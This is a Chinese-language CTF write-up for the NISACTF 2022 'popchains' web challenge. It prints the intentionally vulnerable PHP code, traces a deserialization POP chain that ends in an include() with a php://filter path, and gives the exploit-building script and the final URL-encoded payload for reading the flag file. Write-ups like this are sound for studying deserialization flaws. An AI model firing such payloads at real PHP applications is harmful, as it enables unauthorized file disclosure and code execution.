[NISACTF 2022]popchains 题目来源:NSSCTF
题目类型:WEB
设计考点:POP链,PHP反序列化
1.代码审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php echo 'Happy New Year~ MAKE A WISH<br>' ;if (isset ($_GET ['wish' ])){ @unserialize ($_GET ['wish' ]); }else { $a =new Road_is_Long ; highlight_file (__FILE__ ); }class Road_is_Long { public $page ; public $string ; public function __construct ($file ='index.php' ) { $this ->page = $file ; } public function __toString ( ) { return $this ->string ->page; } public function __wakeup ( ) { if (preg_match ("/file|ftp|http|https|gopher|dict|\.\./i" , $this ->page)) { echo "You can Not Enter 2022" ; $this ->page = "index.php" ; } } }class Try_Work_Hard { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } }class Make_a_Change { public $effort ; public function __construct ( ) { $this ->effort = array (); } public function __get ($key ) { $function = $this ->effort; return $function (); } }
看到第一段判断出需要用GET传入一个wish 的值,然后对其反序列化,接下来需要分析下面一串POP链
首先寻找终点
我们在Try_Work_Hard 类终发现了include 函数判断出这里可以使用php伪协议来读取最后的$flag$文件,接下来判断如触发这个append 函数,我们发现 __invoke 魔术方法中存在append函数得知需要发动 __invoke 魔术方法来达到终点, __invoke 魔术方法是当一个类被当做函数运行的时候发动
这里我们可以先对var这个append执行的值进行payload构建,$var=php://filter/convert.base64-encode/resource=/flag
接下来找到如何让__invoke魔术方法发挥作用的地方
我们发现在Make_a_Change 类中 __get 魔术方法中有return $function(); $function$的值可控,我们可以让$function$的值等于一个Try_Work_Hard 类
接着寻找让__get魔术方法启动的地方,我们知道__get魔术方式是当我们访问一个类中私有或不存在的成员属性的时候自动触发,因此我们来到Road_is_Long ,发现当中的__toString魔术方法访问了一个page变量,那我们可以让$this->string$等于Make_a_Change 类,这样就能出发 __get 魔术方法,**__toSting魔术方法是当一个类被当做字符串使用时自动触发,我们就发现 __wakeup 魔术方法中就有将字符串赋值给一个变量$page$而且$page$的值可控,那我们就让$page$等于一个 Road_is_Long**类,我们暂且称第一个 Road_is_Long 类为$a$,第二个为$b$
1 2 3 4 5 $b = new Road_is_Long ();$b ->string = new Make_a_Change ();$a = new Road_is_Long ();$a ->page = $b ;
a也就是我们要传入的wish,当a反序列化前会执行__wakeup魔术方法,这是会触发b的__toString在这时触发*Make_a_Change 的__get魔术方法再到 Try_Work_Hard 的__invoke魔术方法最后执行append提取到flag
我们最终获得的POP链如下 1 Road_is_Long::__wakeup() -> Road_is_Long::__toString() -> Make_a_Change::__get() -> Try_Work_Hard::__invoke() -> Try_Work_Hard::append()
构造Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class Road_is_Long { public $page ; public $string ; } class Try_Work_Hard { protected $var ="php://filter/convert.base64-encode/resource=/flag" ; } class Make_a_Change { public $effort ; } $f = new Try_Work_Hard ();$m = new Make_a_Change ();$m ->effort = $f ;$b = new Road_is_Long ();$b ->string = $m ;$a = new Road_is_Long ();$a ->page = $b ;echo urlencode (serialize ($a ));?>
GET 传入
1 /wish= O%3 A12 %3 A%22 Road_is_Long%22 %3 A2 %3 A%7 Bs%3 A4 %3 A%22 page%22 %3 BO%3 A12 %3 A%22 Road_is_Long%22 %3 A2 %3 A%7 Bs%3 A4 %3 A%22 page%22 %3 BN%3 Bs%3 A6 %3 A%22 string%22 %3 BO%3 A13 %3 A%22 Make_a_Change%22 %3 A1 %3 A%7 Bs%3 A6 %3 A%22 effort%22 %3 BO%3 A13 %3 A%22 Try_Work_Hard%22 %3 A1 %3 A%7 Bs%3 A6 %3 A%22 %00 %2 A%00 var%22 %3 Bs%3 A49 %3 A%22 php%3 A%2 F%2 Ffilter%2 Fconvert.base64 -encode%2 Fresource%3 D%2 Fflag%22 %3 B%7 D%7 D%7 Ds%3 A6 %3 A%22 string%22 %3 BN%3 B%7 D